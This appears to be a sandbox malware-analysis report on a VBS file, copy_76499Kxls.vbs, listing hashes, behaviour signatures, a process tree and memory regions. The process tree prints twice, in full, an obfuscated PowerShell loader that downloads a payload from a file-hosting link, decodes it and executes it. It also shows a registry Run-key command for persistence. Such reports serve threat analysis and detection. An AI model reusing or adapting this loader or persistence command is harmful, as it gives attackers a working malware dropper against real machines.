Overview

overview

10

Static

static

1

copy_76499Kxls.vbs

windows7-x64

10

copy_76499Kxls.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    2s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/04/2024, 02:08

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    copy_76499Kxls.vbs

  • Size

    279KB

  • MD5

    d51dd423c5f2103977df604208989252

  • SHA1

    4944a47a3a05658a7fec601bf526c7913832c587

  • SHA256

    e5ec544c99937977cbd0e3df39fcf93f234ff1855ceb23a758a98ba1dfa0c002

  • SHA512

    e91bc05bd874233aa264b244ae0ff0faa0fed6ca4161d2af89f8da4099b79c55b6837cf14416a5e1031faf80cf46b3a821803c432a5d7cc99798367509647709

  • SSDEEP

    6144:L6dAYDLBLW+8A1ytW3xrbjsSFuHeEC57kdmXl45zaoGGqAP3MQ9scOb987HIJFJW:WnS2ImtCo5inX

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\copy_76499Kxls.vbs"
    1⤵
    • Blocklisted process makes network request
    PID:4716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Polymicrobial = 1;$Dieselises='Substrin';$Dieselises+='g';Function armlnene($Agurker){$Monastic=$Agurker.Length-$Polymicrobial;For($Liquidise=5; $Liquidise -lt $Monastic; $Liquidise+=(6)){$Caprices+=$Agurker.$Dieselises.Invoke($Liquidise, $Polymicrobial);}$Caprices;}function Alkoholindholds($Feriekoloniens){. ($Deceives) ($Feriekoloniens);}$Tiberen=armlnene '.enthM Bar oA roszAsbesiRetralKammel HaniaBaron/Hidat5 Valg.Maale0 otte Dugdu(McdonWDesori C.itnMolesdMayhaoConvewBinoms Dyed Rev.lNCheckTVilde Skvis1 S,ak0Gravi.Samar0 Bjer;Cypri S,ciaWLurkiiEnfign Kukr6.rifl4.iplo;Overe BlomsxTjavs6Binma4,utpu; Spaa byror DrukvFabr :Plasm1Wathm2.orde1Sangu.Bes.i0Engra)Organ salgsGSodereSubr.c Wet kSulpho.isma/spr,g2Villi0Hamat1 Fis 0Midde0,ever1 dis 0Darli1ikldt GrackFStetiiGeotarSkoleeF ensf jattoSophixCroto/Bo de1Clutc2Hmorr1,ffen. Co,l0Sk.bs ';$Kontrolkortets=armlnene 'UnretUSyno,s B gge IndfrAllod-UpthrA PlengKo maeF,eecn Sipht J,de ';$Nondeterminant=armlnene 'L.bathB,blitFili tMue.lp Unp,s.intm:Hypof/Repro/Datamd U.str attriUnabevDomfle Bath.Allegg Nicko Isc oProt.gNonaslLysetePrimr.UdhuscPeberoConcrm Naza/ SojauHklincI,gen?Mi kseHerpexRe.sspForduoUnmatrSmi,tt Vice=SborgdMang,oHemodw Ice.nBesnrlsti.noRe.ncafiks,dLenit&Enrapi Labid ,ryl=Vek e1RhinofYdmygwGaloceSkrabtTrom.AObedim MondcImper8LegeoxHorseVrej.iaL,ucoeOversAinebr3MarbeJ KuskVOve.l1Inimi6DrejeqU skeuFiltrsDdninGTehusxB,gni6In.irtAtomauA,regl R,beiTract6Si tnSResta0 ResiWRocka ';$Mileplens=armlnene 'Flesh> Inte ';$Deceives=armlnene 'Poly.iB ptoeStatixKfert ';$Leary='Tonsillectomy';Alkoholindholds (armlnene 'BortaSJournepaymatInest-AfhndCSkytsoUreten GidstTabubeNas.ln P.ottArau. Medle-BeslaP gtg,aForpotUnesthCorec G psuTFlout:,udge\.fterB GallePe.tisAbsory.idnenRold gbeluseHjspnlSelvbsomsaleTra trFe,ernSkyldeIt.hps Scen1 Law.7Drift4svbe,.Krkomt Wh nxTjahttSubve impre-KadenV.evala For lCoa,tuM,rkee.dapi b nde$ .enzLBirkeeshamaa skubrst tsyBabys;Reolp ');Alkoholindholds (armlnene 'G.ntiiInherf Fot. Saani(Horn tPhotoe Pegos,tikktRegi,-Dellip.ingua Mus.tVandahTunge S.netTSlitt:rodom\gardeBBlyaneSirdasSponsy Prefn Infog H eteEksprlatek,s S lieCyclorNutjonB miseHenstsGrnse1Toupe7 Out 4Woma..ionist AzimxFrettt Esti)Biote{As,ireOr.ogx.illai orgetLo gp} vig; Tan. ');$Ragtimey = armlnene 'BlndieS,ddecStinghLuftmoBi.aa Hjemk%Co.sua DelspCep,apdemisdDucefaL.pratGulsoaForlo%Ferie\ precUKernenSkinse.ribrxM,ntahB.ndfaDecoluTrim.sUegent .nikeUnrebdLepiolDemenyFlage.HelliB,prineMorgeaBet.n paike&My lo&Bygge ForpoeStadsc Besih AnaloRejeo Skrve$birdh ';Alkoholindholds (armlnene '.ldel$HystegCitollAvancoHaubebcrookablindlCorbi: ForbITitremNonblpskyggrbrugeo Ces.cMindrr Ga,eeUmag.aDynelnSlarit,axes4blu c0 Tall=Boneh(BeoercPostlmForsyd Femk Unde/PalmicD ner kary$ SassRVacila TeltgVitamtSilveiDi,hrmShetleBdeanyD vas)Vatte ');Alkoholindholds (armlnene 'Modsi$ forhg RetflDiakroTilemb cgilaSyenolL.gis:TalkuSInwrauMaskipkyll.e hospr indbeEncorxVolaic Homee DelilRechal .dgieDybstnSe,vscStrafe As r=Rande$kartoNRedreoSnigmnAffildStnineBotultFug.eeAuspirEgocemElithiAktionForvia assn Sindtpar.b.salonsGlis.p,kolelHospiiCu.sttBahoe(Femto$ FellMForeti Und,lRebegeS.mipp ArumlmedleeFlug.nrangesP.eum) beta ');$Nondeterminant=$Superexcellence[0];Alkoholindholds (armlnene 'He.om$Ch.rtgCongrl ineaofagocbTriplaNabchlMiljs:DemerSAnodee Ca,kmE.domiBaskedLysa oAttricPodopuDerm m OxideSpisen ,ristReassaEm,esrTegnkyRegis=SulphN UmiseMischwH nde-Sm,abOZebusbInterjsaltleBe rac,waggtSvag. K,rsSV,lkay ndkbsNelumtRephaeRecesmBorou. SuzaNBusteeSideotPrepa.gaeldWMidwaeP,stlbF ninC ScumlFlseriBedrieSk,lsnBefrit Voca ');Alkoholindholds (armlnene 'Cent,$ eserSMicroeRese.m Bevii AdvedShaddoSp.ndcPaintuMidrimslavee SnknnTracntPainta Farvr.yrovyUdsty.WilcoH Cloae Sp,aa Lystd stigeTeknor Cr psLumbe[Alka,$SignaKKeelbo T,van NdritPalmaravistoliplelPotenkFiskeoovererAlbyltSulfoeSho.pt p,gesPa he]Tonsi=Leuco$OvermT TermiT,uckbHove,ef,licr Maa,e HyponSamme ');$Kylling=armlnene 'HolomS Radoe,gnspmUnstai SocidPsychobr stcIkkevuT.xtimBridoe AntinIntertC,amoaI,legrHoc.lyGali..Reth.Dc.ineoBenzowPlotznPr.ktlQuamaoSidera C mpd UncaFSlagsiCon.rlIns.leFarve( dfol$DominN TachoDumbenMo.ord Rigse JordtIn ineTrninrB uremKl,ppiKodninAmatraFirednB,sebtTilsk,Chond$,emjeU W rrdKanarsR ndmk.ndivr AuchiZo,lofMindstHaandsDonjopMethirLivr.o Fo,agPittsrBlodsa odebmPanelmAfvnneUnitut PeddsBriti) emag ';$Kylling=$Improcreant40[1]+$Kylling;$Udskriftsprogrammets=$Improcreant40[0];Alkoholindholds (armlnene ' aspt$Hu megRe ril Ra,sog,wnsb.nsigaUntowlOptag:Circul,ncipoGrossp So,upEnkeleUdlans Ceret SuppiuspilkTrost=Planc(TombsTBdelle Ro.psBoudot.rege-Sp,gePAsh.laSosostIngu,h .yst uncia$ ArtaUUd.ibdPlagesFrem.kHaverrEstraiS.jrsfN ntht LupisIndhep enigrProgroEglamg P,ycruvenha Ef.emSalgsmstre.eArge,tCoffesTan.o) Ring ');while (!$loppestik) {Alkoholindholds (armlnene 'mute.$KleptgMultilTutoroE,perb rtilaMessil Snap: SypiFDristi Koumr SkrucPreimigra.afsync.r ildie LoottErhves.unni= Svov$ TasttDi kvr.aarsuSter.eNonar ') ;Alkoholindholds $Kylling;Alkoholindholds (armlnene 'Co.ntS FroutSekunaGlykorIn igt Ca f-ScareSAssiml Maske DepoeNonpapUnlit Nonex4nedtr ');Alkoholindholds (armlnene 'Nepot$St.dsgcytozl Evito hypob EvigaSamsol ,ort:KemiklHyp ioHumispD.carpRegnseShonks .eaptGenneigorank Oden=Kogek(SnvreTCessieAmicusMinimtMaiz -bnskrPGyrosa ApprtforedhFusio Don t$PhageU Pebed,ivelsHelb kFrimrr To di PincfConvetByggessubcopAstigrLi,jeoKaskegCopairSubtyaM.termudsk m LamneMeteot F,rbsImpro).dbre ') ;Alkoholindholds (armlnene 'Asona$Lsninget.eelBoychoTransb Schea ,onglIl,uv: flovF,riftr Lnk eBispemTintatpoecirDemagy BryslBoremlKvante hirt=Ress,$ZonargJokinlL,quaoLaanebSo.teaeksislGenba: GtteSNoteseSl.gsmSelvpeB.noksCon.etMakarr.egrea Fa.vlSuk.e+Ga le+Skoli%Enri,$RadioS ErotubasicpK igsefryserelecteTandsx I trcseks eCariclDampslBrnese GaelnDaimocrefere Nono. R.ndc.tavnoThromuBogienHy est Sy i ') ;$Nondeterminant=$Superexcellence[$Fremtrylle];}Alkoholindholds (armlnene ' Beta$Heav.gKlaphlParaloHinaybAntikaT.neslHovek:nonexCSubc.rTilkaaOve,lpSubatePlaybtHa matArmbreMillw Jerki=Pup.l Se irGSkarpeAg rhtJentj-GamasClac.roYpotrn ForstHippoeOutsin ServtOyste .ent$,ryptU Se idDedicsSygevkNetvrr For.i NybyfForsttLatens PrinpUdsterPommeoTornyg HujerPassla Coarm eprimFjerdeBet,atAn epsTaenk ');Alkoholindholds (armlnene 'Tjekk$ escrgAntenlA,tmaoCarnibIfaldaSubdelV,der: BraiVAmiraiTro,lvSpurgiRhampaPreffnBrune Altin=Te ra Orto [BouilS Pandy,iklasTopogtquinieKildemn.tur..enarCKurveo OstenMinisvUrtegePer,crUdl.stSuper] A,fa:Lolla: RetuFr.giorAfstnoAuctimCrocoBColliaP olssObstee Omkr6Sturd4,rediSCr.nktDukysr DarkiKohemnFlybogPodso(To dk$Ord.eC Ant rA.cona.hackpBremse RetutStavetFortueSides)Rambu ');Alkoholindholds (armlnene 'Skumb$BuklegC noolUnderoApostbSu siaHya olditsi: enapPSlvsiaHv.serRigseaSpukefTinperDulmpa OransUnfraeFunkt brand= reno Blind[ OphoSMagney,hephsP,gmetFaceheBa.qumTurne.Cy.riT,mugkeRekinxKvintt T.in.PaterEWeenan,labecOviceo Alied GeneiNeofinLi,hogSkr,v] G,eg:Rente:Lush.ArdgraSMappeCJebliIStje,IDrawc.JirblGBilineEctoptVillaSForskt Fehar SammiV rksn AnvegStopu(p aty$NonliVExcesiKumenvSejrti ogbaShittnjunef) sabe ');Alkoholindholds (armlnene ' .all$ NedbgOpskrlHistooHaemobBund.ap,otulFjerk:Ee ssWStyltaDyf,esOrdenh GalsaAla.tkArbe i .lui5Udlev1Aflad= .syl$Misa.P Intea Air.rAerobaVenulfCroupr U lea Cures Kbeke Flov.Access ShaduD,ivkbForl sPhalatA.fiarunc.iiAluminKnowlgForse(Agdis3s.mic1,enin0Armbi6A.iri1Sh,ma2Polyh, Whi,2Lion.8c.iti5indry2levne6Therm) Kvin ');Alkoholindholds $Washaki51;"
      2⤵
        PID:1104
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Unexhaustedly.Bea && echo $"
          3⤵
            PID:1944
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Polymicrobial = 1;$Dieselises='Substrin';$Dieselises+='g';Function armlnene($Agurker){$Monastic=$Agurker.Length-$Polymicrobial;For($Liquidise=5; $Liquidise -lt $Monastic; $Liquidise+=(6)){$Caprices+=$Agurker.$Dieselises.Invoke($Liquidise, $Polymicrobial);}$Caprices;}function Alkoholindholds($Feriekoloniens){. ($Deceives) ($Feriekoloniens);}$Tiberen=armlnene '.enthM Bar oA roszAsbesiRetralKammel HaniaBaron/Hidat5 Valg.Maale0 otte Dugdu(McdonWDesori C.itnMolesdMayhaoConvewBinoms Dyed Rev.lNCheckTVilde Skvis1 S,ak0Gravi.Samar0 Bjer;Cypri S,ciaWLurkiiEnfign Kukr6.rifl4.iplo;Overe BlomsxTjavs6Binma4,utpu; Spaa byror DrukvFabr :Plasm1Wathm2.orde1Sangu.Bes.i0Engra)Organ salgsGSodereSubr.c Wet kSulpho.isma/spr,g2Villi0Hamat1 Fis 0Midde0,ever1 dis 0Darli1ikldt GrackFStetiiGeotarSkoleeF ensf jattoSophixCroto/Bo de1Clutc2Hmorr1,ffen. Co,l0Sk.bs ';$Kontrolkortets=armlnene 'UnretUSyno,s B gge IndfrAllod-UpthrA PlengKo maeF,eecn Sipht J,de ';$Nondeterminant=armlnene 'L.bathB,blitFili tMue.lp Unp,s.intm:Hypof/Repro/Datamd U.str attriUnabevDomfle Bath.Allegg Nicko Isc oProt.gNonaslLysetePrimr.UdhuscPeberoConcrm Naza/ SojauHklincI,gen?Mi kseHerpexRe.sspForduoUnmatrSmi,tt Vice=SborgdMang,oHemodw Ice.nBesnrlsti.noRe.ncafiks,dLenit&Enrapi Labid ,ryl=Vek e1RhinofYdmygwGaloceSkrabtTrom.AObedim MondcImper8LegeoxHorseVrej.iaL,ucoeOversAinebr3MarbeJ KuskVOve.l1Inimi6DrejeqU skeuFiltrsDdninGTehusxB,gni6In.irtAtomauA,regl R,beiTract6Si tnSResta0 ResiWRocka ';$Mileplens=armlnene 'Flesh> Inte ';$Deceives=armlnene 'Poly.iB ptoeStatixKfert ';$Leary='Tonsillectomy';Alkoholindholds (armlnene 'BortaSJournepaymatInest-AfhndCSkytsoUreten GidstTabubeNas.ln P.ottArau. Medle-BeslaP gtg,aForpotUnesthCorec G psuTFlout:,udge\.fterB GallePe.tisAbsory.idnenRold gbeluseHjspnlSelvbsomsaleTra trFe,ernSkyldeIt.hps Scen1 Law.7Drift4svbe,.Krkomt Wh nxTjahttSubve impre-KadenV.evala For lCoa,tuM,rkee.dapi b nde$ .enzLBirkeeshamaa skubrst tsyBabys;Reolp ');Alkoholindholds (armlnene 'G.ntiiInherf Fot. Saani(Horn tPhotoe Pegos,tikktRegi,-Dellip.ingua Mus.tVandahTunge S.netTSlitt:rodom\gardeBBlyaneSirdasSponsy Prefn Infog H eteEksprlatek,s S lieCyclorNutjonB miseHenstsGrnse1Toupe7 Out 4Woma..ionist AzimxFrettt Esti)Biote{As,ireOr.ogx.illai orgetLo gp} vig; Tan. ');$Ragtimey = armlnene 'BlndieS,ddecStinghLuftmoBi.aa Hjemk%Co.sua DelspCep,apdemisdDucefaL.pratGulsoaForlo%Ferie\ precUKernenSkinse.ribrxM,ntahB.ndfaDecoluTrim.sUegent .nikeUnrebdLepiolDemenyFlage.HelliB,prineMorgeaBet.n paike&My lo&Bygge ForpoeStadsc Besih AnaloRejeo Skrve$birdh ';Alkoholindholds (armlnene '.ldel$HystegCitollAvancoHaubebcrookablindlCorbi: ForbITitremNonblpskyggrbrugeo Ces.cMindrr Ga,eeUmag.aDynelnSlarit,axes4blu c0 Tall=Boneh(BeoercPostlmForsyd Femk Unde/PalmicD ner kary$ SassRVacila TeltgVitamtSilveiDi,hrmShetleBdeanyD vas)Vatte ');Alkoholindholds (armlnene 'Modsi$ forhg RetflDiakroTilemb cgilaSyenolL.gis:TalkuSInwrauMaskipkyll.e hospr indbeEncorxVolaic Homee DelilRechal .dgieDybstnSe,vscStrafe As r=Rande$kartoNRedreoSnigmnAffildStnineBotultFug.eeAuspirEgocemElithiAktionForvia assn Sindtpar.b.salonsGlis.p,kolelHospiiCu.sttBahoe(Femto$ FellMForeti Und,lRebegeS.mipp ArumlmedleeFlug.nrangesP.eum) beta ');$Nondeterminant=$Superexcellence[0];Alkoholindholds (armlnene 'He.om$Ch.rtgCongrl ineaofagocbTriplaNabchlMiljs:DemerSAnodee Ca,kmE.domiBaskedLysa oAttricPodopuDerm m OxideSpisen ,ristReassaEm,esrTegnkyRegis=SulphN UmiseMischwH nde-Sm,abOZebusbInterjsaltleBe rac,waggtSvag. K,rsSV,lkay ndkbsNelumtRephaeRecesmBorou. SuzaNBusteeSideotPrepa.gaeldWMidwaeP,stlbF ninC ScumlFlseriBedrieSk,lsnBefrit Voca ');Alkoholindholds (armlnene 'Cent,$ eserSMicroeRese.m Bevii AdvedShaddoSp.ndcPaintuMidrimslavee SnknnTracntPainta Farvr.yrovyUdsty.WilcoH Cloae Sp,aa Lystd stigeTeknor Cr psLumbe[Alka,$SignaKKeelbo T,van NdritPalmaravistoliplelPotenkFiskeoovererAlbyltSulfoeSho.pt p,gesPa he]Tonsi=Leuco$OvermT TermiT,uckbHove,ef,licr Maa,e HyponSamme ');$Kylling=armlnene 'HolomS Radoe,gnspmUnstai SocidPsychobr stcIkkevuT.xtimBridoe AntinIntertC,amoaI,legrHoc.lyGali..Reth.Dc.ineoBenzowPlotznPr.ktlQuamaoSidera C mpd UncaFSlagsiCon.rlIns.leFarve( dfol$DominN TachoDumbenMo.ord Rigse JordtIn ineTrninrB uremKl,ppiKodninAmatraFirednB,sebtTilsk,Chond$,emjeU W rrdKanarsR ndmk.ndivr AuchiZo,lofMindstHaandsDonjopMethirLivr.o Fo,agPittsrBlodsa odebmPanelmAfvnneUnitut PeddsBriti) emag ';$Kylling=$Improcreant40[1]+$Kylling;$Udskriftsprogrammets=$Improcreant40[0];Alkoholindholds (armlnene ' aspt$Hu megRe ril Ra,sog,wnsb.nsigaUntowlOptag:Circul,ncipoGrossp So,upEnkeleUdlans Ceret SuppiuspilkTrost=Planc(TombsTBdelle Ro.psBoudot.rege-Sp,gePAsh.laSosostIngu,h .yst uncia$ ArtaUUd.ibdPlagesFrem.kHaverrEstraiS.jrsfN ntht LupisIndhep enigrProgroEglamg P,ycruvenha Ef.emSalgsmstre.eArge,tCoffesTan.o) Ring ');while (!$loppestik) {Alkoholindholds (armlnene 'mute.$KleptgMultilTutoroE,perb rtilaMessil Snap: SypiFDristi Koumr SkrucPreimigra.afsync.r ildie LoottErhves.unni= Svov$ TasttDi kvr.aarsuSter.eNonar ') ;Alkoholindholds $Kylling;Alkoholindholds (armlnene 'Co.ntS FroutSekunaGlykorIn igt Ca f-ScareSAssiml Maske DepoeNonpapUnlit Nonex4nedtr ');Alkoholindholds (armlnene 'Nepot$St.dsgcytozl Evito hypob EvigaSamsol ,ort:KemiklHyp ioHumispD.carpRegnseShonks .eaptGenneigorank Oden=Kogek(SnvreTCessieAmicusMinimtMaiz -bnskrPGyrosa ApprtforedhFusio Don t$PhageU Pebed,ivelsHelb kFrimrr To di PincfConvetByggessubcopAstigrLi,jeoKaskegCopairSubtyaM.termudsk m LamneMeteot F,rbsImpro).dbre ') ;Alkoholindholds (armlnene 'Asona$Lsninget.eelBoychoTransb Schea ,onglIl,uv: flovF,riftr Lnk eBispemTintatpoecirDemagy BryslBoremlKvante hirt=Ress,$ZonargJokinlL,quaoLaanebSo.teaeksislGenba: GtteSNoteseSl.gsmSelvpeB.noksCon.etMakarr.egrea Fa.vlSuk.e+Ga le+Skoli%Enri,$RadioS ErotubasicpK igsefryserelecteTandsx I trcseks eCariclDampslBrnese GaelnDaimocrefere Nono. R.ndc.tavnoThromuBogienHy est Sy i ') ;$Nondeterminant=$Superexcellence[$Fremtrylle];}Alkoholindholds (armlnene ' Beta$Heav.gKlaphlParaloHinaybAntikaT.neslHovek:nonexCSubc.rTilkaaOve,lpSubatePlaybtHa matArmbreMillw Jerki=Pup.l Se irGSkarpeAg rhtJentj-GamasClac.roYpotrn ForstHippoeOutsin ServtOyste .ent$,ryptU Se idDedicsSygevkNetvrr For.i NybyfForsttLatens PrinpUdsterPommeoTornyg HujerPassla Coarm eprimFjerdeBet,atAn epsTaenk ');Alkoholindholds (armlnene 'Tjekk$ escrgAntenlA,tmaoCarnibIfaldaSubdelV,der: BraiVAmiraiTro,lvSpurgiRhampaPreffnBrune Altin=Te ra Orto [BouilS Pandy,iklasTopogtquinieKildemn.tur..enarCKurveo OstenMinisvUrtegePer,crUdl.stSuper] A,fa:Lolla: RetuFr.giorAfstnoAuctimCrocoBColliaP olssObstee Omkr6Sturd4,rediSCr.nktDukysr DarkiKohemnFlybogPodso(To dk$Ord.eC Ant rA.cona.hackpBremse RetutStavetFortueSides)Rambu ');Alkoholindholds (armlnene 'Skumb$BuklegC noolUnderoApostbSu siaHya olditsi: enapPSlvsiaHv.serRigseaSpukefTinperDulmpa OransUnfraeFunkt brand= reno Blind[ OphoSMagney,hephsP,gmetFaceheBa.qumTurne.Cy.riT,mugkeRekinxKvintt T.in.PaterEWeenan,labecOviceo Alied GeneiNeofinLi,hogSkr,v] G,eg:Rente:Lush.ArdgraSMappeCJebliIStje,IDrawc.JirblGBilineEctoptVillaSForskt Fehar SammiV rksn AnvegStopu(p aty$NonliVExcesiKumenvSejrti ogbaShittnjunef) sabe ');Alkoholindholds (armlnene ' .all$ NedbgOpskrlHistooHaemobBund.ap,otulFjerk:Ee ssWStyltaDyf,esOrdenh GalsaAla.tkArbe i .lui5Udlev1Aflad= .syl$Misa.P Intea Air.rAerobaVenulfCroupr U lea Cures Kbeke Flov.Access ShaduD,ivkbForl sPhalatA.fiarunc.iiAluminKnowlgForse(Agdis3s.mic1,enin0Armbi6A.iri1Sh,ma2Polyh, Whi,2Lion.8c.iti5indry2levne6Therm) Kvin ');Alkoholindholds $Washaki51;"
            3⤵
              PID:1648
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Unexhaustedly.Bea && echo $"
                4⤵
                  PID:3140
                • C:\Program Files (x86)\windows mail\wab.exe
                  "C:\Program Files (x86)\windows mail\wab.exe"
                  4⤵
                    PID:3868
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Figenkaktussers% -w 1 $Cyklingens=(Get-ItemProperty -Path 'HKCU:\Eksogenes154\').Slockingstone;%Figenkaktussers% ($Cyklingens)"
                      5⤵
                        PID:4048
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Figenkaktussers% -w 1 $Cyklingens=(Get-ItemProperty -Path 'HKCU:\Eksogenes154\').Slockingstone;%Figenkaktussers% ($Cyklingens)"
                          6⤵
                          • Modifies registry key
                          PID:468
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2196 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:8
                1⤵
                  PID:2004
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=fallback-handler --database="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --exception-pointers=53532474917056 --process=260 /prefetch:7 --thread=740
                  1⤵
                    PID:4848

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bkqrnx2l.zo2.ps1
                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    Download Submit

                  • C:\Users\Admin\AppData\Roaming\Unexhaustedly.Bea
                    Filesize

                    441KB

                    MD5

                    84ca909be927e397aa5132074da15c07

                    SHA1

                    75a67d4ab19e9a1ed49e64feab9eed09ed33e181

                    SHA256

                    761e72ae7fcd658fde092259e0981f1955214ea1bd01742ce69a6e322f7e1119

                    SHA512

                    f3e964fd675e463917af94028b63ff672217ff1f7dbebf162d497299b9acbb5f6c5f48044772e6d0fee2e106788126838cd6736ec39bfeab5bb39426d5393b0f

                    Download Submit

                  • memory/1104-4-0x0000018C8CB00000-0x0000018C8CB22000-memory.dmp

                    Filesize

                    136KB

                    Download

                  • memory/1104-14-0x00007FFE6D0C0000-0x00007FFE6DB81000-memory.dmp

                    Filesize

                    10.8MB

                    Download

                  • memory/1104-16-0x0000018C8CA40000-0x0000018C8CA50000-memory.dmp

                    Filesize

                    64KB

                    Download

                  • memory/1104-15-0x0000018C8CA40000-0x0000018C8CA50000-memory.dmp

                    Filesize

                    64KB

                    Download

                  • memory/1104-38-0x00007FFE6D0C0000-0x00007FFE6DB81000-memory.dmp

                    Filesize

                    10.8MB

                    Download

                  • memory/1104-46-0x0000018C8CA40000-0x0000018C8CA50000-memory.dmp

                    Filesize

                    64KB

                    Download

                  • memory/1104-47-0x0000018C8CA40000-0x0000018C8CA50000-memory.dmp

                    Filesize

                    64KB

                    Download

                  • memory/1104-81-0x00007FFE6D0C0000-0x00007FFE6DB81000-memory.dmp

                    Filesize

                    10.8MB

                    Download

                  • memory/1648-31-0x0000000006100000-0x0000000006454000-memory.dmp

                    Filesize

                    3.3MB

                    Download

                  • memory/1648-41-0x0000000006CE0000-0x0000000006CFA000-memory.dmp

                    Filesize

                    104KB

                    Download

                  • memory/1648-22-0x0000000005A10000-0x0000000006038000-memory.dmp

                    Filesize

                    6.2MB

                    Download

                  • memory/1648-23-0x0000000005870000-0x0000000005892000-memory.dmp

                    Filesize

                    136KB

                    Download

                  • memory/1648-25-0x0000000005980000-0x00000000059E6000-memory.dmp

                    Filesize

                    408KB

                    Download

                  • memory/1648-24-0x0000000005910000-0x0000000005976000-memory.dmp

                    Filesize

                    408KB

                    Download

                  • memory/1648-21-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

                    Filesize

                    64KB

                    Download

                  • memory/1648-36-0x0000000006750000-0x000000000676E000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/1648-37-0x00000000067E0000-0x000000000682C000-memory.dmp

                    Filesize

                    304KB

                    Download

                  • memory/1648-39-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

                    Filesize

                    64KB

                    Download

                  • memory/1648-40-0x0000000007F90000-0x000000000860A000-memory.dmp

                    Filesize

                    6.5MB

                    Download

                  • memory/1648-20-0x0000000074C90000-0x0000000075440000-memory.dmp

                    Filesize

                    7.7MB

                    Download

                  • memory/1648-42-0x00000000079F0000-0x0000000007A86000-memory.dmp

                    Filesize

                    600KB

                    Download

                  • memory/1648-43-0x0000000007910000-0x0000000007932000-memory.dmp

                    Filesize

                    136KB

                    Download

                  • memory/1648-44-0x0000000008BC0000-0x0000000009164000-memory.dmp

                    Filesize

                    5.6MB

                    Download

                  • memory/1648-48-0x0000000074C90000-0x0000000075440000-memory.dmp

                    Filesize

                    7.7MB

                    Download

                  • memory/1648-49-0x0000000007C80000-0x0000000007C81000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/1648-50-0x0000000009170000-0x000000000E2C4000-memory.dmp

                    Filesize

                    81.3MB

                    Download

                  • memory/1648-51-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

                    Filesize

                    64KB

                    Download

                  • memory/1648-53-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

                    Filesize

                    64KB

                    Download

                  • memory/1648-54-0x00000000776B1000-0x00000000777D1000-memory.dmp

                    Filesize

                    1.1MB

                    Download

                  • memory/1648-75-0x0000000074C90000-0x0000000075440000-memory.dmp

                    Filesize

                    7.7MB

                    Download

                  • memory/1648-19-0x0000000002E10000-0x0000000002E46000-memory.dmp

                    Filesize

                    216KB

                    Download

                  • memory/3868-71-0x00000000776B1000-0x00000000777D1000-memory.dmp

                    Filesize

                    1.1MB

                    Download

                  • memory/3868-89-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

                  • memory/3868-72-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

                  • memory/3868-73-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

                  • memory/3868-69-0x0000000001C20000-0x0000000006D74000-memory.dmp

                    Filesize

                    81.3MB

                    Download

                  • memory/3868-74-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

                  • memory/3868-76-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

                  • memory/3868-77-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

                  • memory/3868-80-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

                  • memory/3868-55-0x0000000077738000-0x0000000077739000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/3868-82-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

                  • memory/3868-83-0x00000000009C0000-0x0000000001C14000-memory.dmp

                    Filesize

                    18.3MB

                    Download

